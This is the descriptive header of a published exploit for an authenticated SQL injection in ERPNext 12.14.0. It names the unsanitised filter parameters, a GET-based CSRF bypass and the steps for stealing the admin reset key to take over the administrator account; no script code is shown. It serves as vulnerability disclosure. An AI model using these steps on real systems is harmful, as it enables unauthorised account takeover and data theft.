erpnext 12.14.0 sql injection (authenticated)

				
# Exploit Title: ERPNext 12.14.0 - SQL Injection (Authenticated)
# Date: 21-01-21
# Exploit Author: Hodorsec
# Vendor Homepage: http://erpnext.org
# Software Link: https://erpnext.org/download
# Version: 12.14.0
# Tested on: Ubuntu 18.04

# AUTHENTICATED SQL INJECTION VULNERABILITY
# In short:
# Found an authenticated SQL injection when authenticated as a low-privileged user as the parameters "or_filter" and "filters" are not being sanitized sufficiently. Although several sanitation and blacklist attempts are used in the code for other parameters, these parameters aren't checked. This allows, for example, a retrieval of the admin reset token and reset the admin account using a new password as being shown in the PoC.
#
# Longer story:
# Via the "frappe.model.db_query.get_list" CMD method, it's possible to abuse the "or_filters" parameter to successfully exploit a blind time-based SQL injection using an array/list as parameter using '["{QUERY}"]', where {QUERY} is any unfiltered SQL query.
# The "or_filters" parameter is used as part of the SELECT query, along with parameters "fields", "order_by", "group_by" and "limit". When entering any subselect in the "or_filters" or "filters" parameter, no checks are being made if any blacklisted word is being used.
# Initially, the requests where performed using the HTTP POST method which checks for a CSRF token. However, converting the request to an HTTP GET method, the CSRF token isn't required nor checked.
# Test environment:
# Tested against the latest development OVA v12 and updated using 'bench update', which leads to Frappe / ERPNext version v12.14.0.
# Cause:
# In "apps/frappe/frappe/model/db_query.py" the HTTP parameters "filters" and "or_filters" aren't being sanitized sufficiently.

# STEPS NOT INCLUDED IN SCRIPT DUE TO MAILSERVER DEPENDENCY
# 1. Create account
# 1.a. Use update-password link for created user received via mail
# STEPS INCLUDED IN SCRIPT
# 1. Login using existing low-privileged account
# 2. Use SQL Injection vulnerability in "frappe/frappe/nodel/db_query/get_list" function by not sanitizing parameters "filters" and "or_filters" sufficiently
# 3. Retrieve reset key for admin user
# 4. Reset admin account using given password
